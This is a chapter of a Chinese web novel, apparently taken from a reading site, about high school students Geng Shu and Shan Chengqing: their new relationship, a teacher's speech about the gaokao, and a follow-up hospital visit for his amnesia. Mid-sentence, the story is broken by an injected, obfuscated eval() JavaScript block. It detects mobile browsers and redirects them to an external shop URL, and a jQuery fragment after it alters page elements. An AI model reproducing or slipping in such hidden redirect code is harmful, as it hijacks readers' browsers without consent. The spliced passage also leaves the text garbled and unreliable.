小长假结束，准高三生提前返回了校园。


    偌大的学校，只有他们这一批“留守”学生，实属凄凉。


    高三楼下的布告栏已经贴上了高考倒计时的数字，各班黑板上的倒计时也在一点点流动着。作息调整，课表更改，就连学校万年不变的食堂都趁这两周翻了新，不再是劳改犯一样的冰冷铁质桌椅，食堂菜品也经过改良和增加，以慰藉高三学子小小的心灵。


    然而变化不止如此。


    在后排的单呈青不知道第多少次往耿殊桌上堆零食时，林优终于忍无可忍，扭头用眼神询问。


    耿殊撑着侧脸看书，冲她点了点头。


    当时林优反应没有多大，只是后来吃午饭时，她说：“如果这是一本小说的话，我会给它打负分的。”


    “行，我现在就去跟他提分手。”耿殊将菜里的花椒挑出来，说。


    林优说不出话，一时分不清她是在开玩笑还是真的想要这么做。毕竟两种情况她都能干得出来。


    “什么时候的事？”林优问。


    “两周前，我跟你说过了。”耿殊说。


    “我以为你——”林优顿了顿，眉眼下意识皱起来。她确实第一时间收到了耿殊的报信，只不过她那会儿在伦敦，耿殊的官宣又实在不怎么正经，她自然而然地认为她在说笑。


    “我以为你追单呈青追得失心疯了。”


    “诶。”耿殊不满地放下筷子，“你怎么可以这么想我？”


    “你要不看看你当时怎么跟我说的。”林优没什么表情。


    她当时怎么说的？不就是“报告组织，本人已成功捕获野生单呈青一只，手续齐全，准予饲养。”


    后面还跟了个叼着玫瑰花，表情嘚瑟的狐狸表情包。


    林优当时回了一串省略号，没过多在意，转而就被耿殊反问在伦敦的旅游怎么样。


    现在想来，这番表述确实不太正经。


    耿殊懒洋洋地笑了笑：“话不在精，有意就行。”


    林优瞥她一眼，不打算深究这背后的逻辑，用筷子轻轻拨弄着餐盘里的青菜：“所以，是认真的？”


    “当然。”耿殊回答得毫不犹豫，眼神清亮，没有一丝玩笑的成分，“比真金还真。”


    林优看着她，看了好几秒，似乎在确认她话语里的真实性。最终，她轻轻叹了口气。


    “他呢？”林优朝食堂某个方向抬了抬下巴，意指单呈青，“也是认真的？”她问得有些迟疑，毕竟单呈青失忆这事儿，耿殊也跟她提过。


    耿殊顺着她的目光看去，正好看到单呈青独自坐在不远处的角落吃饭，安静得像一幅背景画。他似乎感应到她的视线，抬起头，目光穿过稀疏的人群，准确无误地落在她脸上。


    没有热烈的回应，他只是看着她，眼神平静，却不再像之前那样空洞或疏离。然后，他极其轻微地，几乎难以察觉地，对她点了点头。


    耿殊转回头，对着林优，嘴角扬起一个笃定的弧度：“你看他那样，像是会陪人玩过家家的吗？”


    林优想了想单呈青那常年没什么表情的脸和拒人千里的气场，默默认同了这个说法。那人确实不像是有闲情逸致配合演出的主。


    “你不喜欢他？”耿殊敏锐地捕捉到了她脸上复杂的神情。


    “你要不要听听你在说什么话？”林优语气淡了几分。


    哪有朋友喜欢好友男友的义务。


    耿殊笑得肩都在抖，这两句话也没什么好笑的，但她现在像是被戳到笑穴一样，嘴角压不下来。


    “你还记得我之前说的那句话吗？”耿殊稍稍收敛起来，“我说，如果我以后想结婚了，新郎指不定是哪个见没见过爱没爱过的人。”


    “但伴娘永远是你，捧花也只会给你。”


    七八岁玩过家家的玩笑话，七八十岁到老也算数。


    作为发小，林优见证了她太多的爱恨纠葛。那些爱她的不够纯粹，那些恨她的不够彻底。她几乎想不到耿殊这样的人会和什么人或者谁走到最后，她甚至想，以后两人一起住养着林美美也不错。


    听见她这么说，林优捏紧筷子的指尖松了松，好似肩上的重担卸下来一般，长舒一口气。这不是妥协，是她由衷地感叹，真切地希望最好的朋友，选择想要的生活。


    她最后轻轻地嗯了一声，耿殊依旧笑着看着她，好像无论怎么样，她们始终如一。


    下午有董丽的课，耿殊有半个多月没见到她了。比起最后在溪城那次，董丽至少没那么憔悴，但眉眼间总是笼罩着一层若有若无的疲色，她知道有什么东西拉扯着她，也深知，只有她才能终结麻烦的源泉。


    董丽腾了二十分钟给大家将整个高三的复习计划，一轮二轮，一模二模，大的框架寥寥几笔，而其中补充的细节内容却不容小觑。


    她粉笔头捏得紧，每一个字都重重落下，细小的粉尘在阳光下清晰可见。


    底下无人交谈，大家都紧绷在同一根弦上。


    “我不想把话说得太现实太露骨。”董丽落下最后一笔，粉笔头断了半截，一半落到地上，她没管，另一半还在她手里捏着。


    “但事实就是这样。”她的声音在安静的教室里显得格外清晰，手里还捏捏着那半截粉笔，目光扫过台下每一张年轻却已然带上些许凝重气息的脸，“高考之所以重要，不仅是因为它影响了你未来的人生规划——”


    她停顿了一下，像是要赋予接下来的话语更多的分量。


    “更因为，对在座的绝大多数人而言，这是你们人生中，最后一次，也是唯一一次，能够纯粹地、相对公平地，仅凭自身的努力和智慧，去争取一个更高起点的机会。”


    粉笔头被轻轻放在讲台上，发出细微的声响。


    “离开了这里，往后的路，努力依旧重要，但变量会多得多。家庭、资源、人脉、机遇……甚至运气，都会成为天平上或轻或重的砝码。”她的语气平静，没有刻意渲染焦虑，只是在陈述一个她所见过的、真实的世界规则，“而高考这张考卷，至少，它最大限度地，将那些变量暂时屏蔽在了考场之外。”


    教室里落针可闻。空调的冷气嘶嘶地响着，却吹不散空气中骤然凝聚的沉重。有人不自觉地挺直了背脊，有人下意识地攥紧了手中的笔，还有人，比如耿殊，则把目光放到了说这话的人的眼睛上。


    “所以，”董丽最后说道，声音放缓了些，依旧有力，“珍惜这一年。拼尽全力，至少将来回想起来，不会因为曾经有机会却未曾尽力而后悔。”


    下课铃适时响起，打破了这片沉寂。董丽没有再多说，拿起教案和水杯，步伐略显匆忙地离开了教室，背影依旧带着一丝挥之不去的疲惫。


    教室里的气氛却迟迟没有松快起来。窃窃私语声开始响起，带着对未来的迷茫、对压力的感知，还有一丝被点燃的、不服输的斗志。


    林优转过头，看向耿殊，眼神里带着点不明的意味。


    耿殊正慢条斯理地将刚才记下的复习框架补充完整，头也没抬：“怎么？被董老师的话吓到了？”


    “吓到倒没有。”林优侧过身，“不过肩上的担子倒是沉了不少。”


    耿殊写完最后一个字，放下笔，活动了一下手腕：“现实而已。早点认清，比活在温水里被慢慢煮死强。”


    林优不予置否。


    补课的日子像被按下了加速键，试卷、讲义、错题本以肉眼可见的速度堆叠起来。教室里弥漫着一种混合着墨香、咖啡因和无形压力的特殊气味。窗外的蝉鸣到了最聒噪的时节，没日没夜地叫个不停。


    耿殊话少了很多。她不再像以前那样，总能在沉闷的空气里找到缝隙，塞进几句调侃或玩笑。她大部分时间都低着头，笔尖在纸张上飞速移动，偶尔停下来，蹙眉思考，或者抬起眼，望向窗外那片被教学楼切割得方方正正的，永远湛蓝得有些不真实的天空。


    疲倦如影随形。物理竞赛复赛后的短暂松懈，紧接着是准高三的提前开学和高强度补课，即便是精力旺盛如她，也感到了透支。最累的时候，她就什么都不做，只是趴在桌上，侧着脸，目光虚虚地落在旁边那个人的身上。


    单呈青似乎比她更适应这种节奏。或者说，他天生就自带一种与这种沉闷环境相融的磁场。


    他坐姿端正，背脊挺直，极少有大幅度动作。笔尖划过纸张的声音轻而规律，沙沙的，像春蚕食叶，带着一种奇异的安定感。耿殊就听着这声音，看阳光透过窗户，在他握着笔的、骨节分明的手上跳跃，看那些淡青色的血管脉络在手背上若隐若现。他的手指修长干净，指甲修剪得很短，写字时用力均匀，字迹清隽工整。


    看着看着，眼皮就沉重起来，意识像漂浮在温水里，慢慢下沉。


    “晚自习请假吧。”某个课间，耿殊没来由地开口，声音带着刚趴醒的微哑，“再去复查一次。”


    她没抬头，依旧侧脸枕在手臂上，目光却精准地锁定了他手背上那道被笔压出的浅浅红痕。


    单呈青停下笔，转过头看她。她眼底有淡淡的青色，睫毛在眼睑下投出一小片疲惫的阴影。他知道，她不只是为了他复查。这段时间，她太累了，紧绷的弦需要偶尔松一松


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830475|188454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “嗯。”他低声应道，没有多问。他发现自己越来越习惯于听从她的安排。


    请假出乎意料地顺利。董丽只在假条上扫了一眼，甚至没问理由，就签了字。只是在递还假条时，她抬眸看了耿殊一眼，那眼神里有些复杂的情绪，像是疲惫，又像是某种了然的关切。


    傍晚时分，暑热稍退，天边还残留着一抹瑰丽的霞光。请好假的耿殊和单呈青并肩走出校门，将教学楼里压抑的背书声和纸笔摩擦声暂时抛在身后。


    “打车还是走路？”耿殊问。协和医院离学校不算太远，步行大概二十分钟。


    单呈青看了眼天色：“走路吧。”


    他不太喜欢密闭的出租车空间，尤其现在头虽然不疼了，但对噪音和闷热依然敏感。


    “行。”


    两人沿着熟悉的街道慢慢走着。傍晚的风穿过街巷，带来路边小吃摊隐约的香气和行道树沙沙的声响。不同于白日的喧嚣，此刻的街道有种悠闲的宁静。


    耿殊双手插在校服外套的口袋里，步子不紧不慢。单呈青走在她身侧半步远的位置，目光落在前方被夕阳拉长的影子上——他们的影子偶尔会交叠在一起。


    “紧张吗？”耿殊忽然开口，声音在暮色里显得很清晰。


    单呈青侧头看她，有些不解。


    “复查。”耿殊补充道，“怕医生说恢复得不好？或者怕记忆还是没动静？”


    单呈青沉默了一下，如实回答：“有点。”


    他确实担心。不仅担心身体，更担心那片记忆的空白会持续下去，成为横亘在他与她，与过去之间的永久断层。


    “怕什么。”耿殊语气轻松，“最坏也就是现在这样。你现在不也挺好？”


    协和医院傍晚的神经外科，人比白天少了许多，空气里消毒水的气味却更加清晰。等待叫号的时候，两人坐在冰凉的金属长椅上。耿殊靠着椅背，闭目养神，单呈青则坐得笔直，目光落在对面墙上的健康宣传栏上，手指无意识地摩挲着新手机冰凉的边缘。


    “单呈青。”护士叫到他的名字。


    他站起身，耿殊也睁开了眼睛，跟着站了起来。


    “我陪你进去？”她问。


    单呈青犹豫了一下，摇了摇头：“不用。”他不想让她看到自己躺在仪器上，或者面对医生询问时可能出现的茫然无措。


    耿殊也没坚持，只是拍了拍他的手臂：“去吧，我在这儿等你。”


    诊室的门在身后关上。熟悉的流程，医生的询问，细致的检查。单呈青描述着头疼的频率和感觉，描述着那些偶尔闪现却无法捕捉的碎片画面。


    医生看着最新的CT片子，对比着之前的影像，沉吟了片刻。


    “从影像上看，血肿吸收得不错，脑组织没有出现新的问题。”医生推了推眼镜，语气专业而平和，“至于逆行性遗忘，这确实更多是功能性而非结构性的问题。就像电脑硬盘数据线松了，硬盘本身是好的，但读取某些扇区暂时困难。”


    “那，什么时候能恢复？”单呈青问出了心底最在意的问题。


    “这个很难给出确切时间。”医生坦诚道，“可能几天，几周，也可能需要更长时间。大脑有自己的修复节奏。外界刺激，熟悉的环境，重要的情感联结……这些都可能成为触发的契机。”


    医生顿了顿，看着他，“比起焦虑地等待记忆恢复，更重要的是适应现在，不要给自己太大压力。有时候，越放松，越有利于恢复。”


    从诊室出来，单呈青手里拿着新的医嘱单和一瓶开的营养神经的药物。走廊里灯光清冷，他一眼就看到了坐在长椅上的耿殊。


    她没玩手机，只是安静地坐着，目光落在窗外渐渐暗下去的天色上，侧脸在灯光下显得有些沉静。听到脚步声，她转过头来。


    “怎么样？”她站起身。


    “医生说恢复得可以，记忆顺其自然。”单呈青将医生的话简要复述。


    耿殊点了点头，脸上并没有太多意外或失望的神色，仿佛这早就在她预料之中。她伸手，很自然地接过他手里的药袋看了看。


    “那就好。”她把药袋还给他，“走吧，男朋友，请你吃顿好的，补补脑。”


    她语气轻松，带着惯有的那点不由分说，瞬间驱散了诊室里带出来的那点凝重和不确定性。


    单呈青看着她走在前面的背影，穿着校服，马尾随着步伐轻轻晃动。走廊的灯光将她的影子拉得很长。


    他忽然想起医生最后那句话：“重要的情感联结”。


    他快走两步，跟上了她。